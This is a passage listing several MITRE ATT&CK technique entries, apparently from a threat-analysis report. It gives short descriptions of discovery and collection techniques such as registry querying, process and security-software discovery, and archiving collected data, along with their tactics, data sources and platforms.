Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre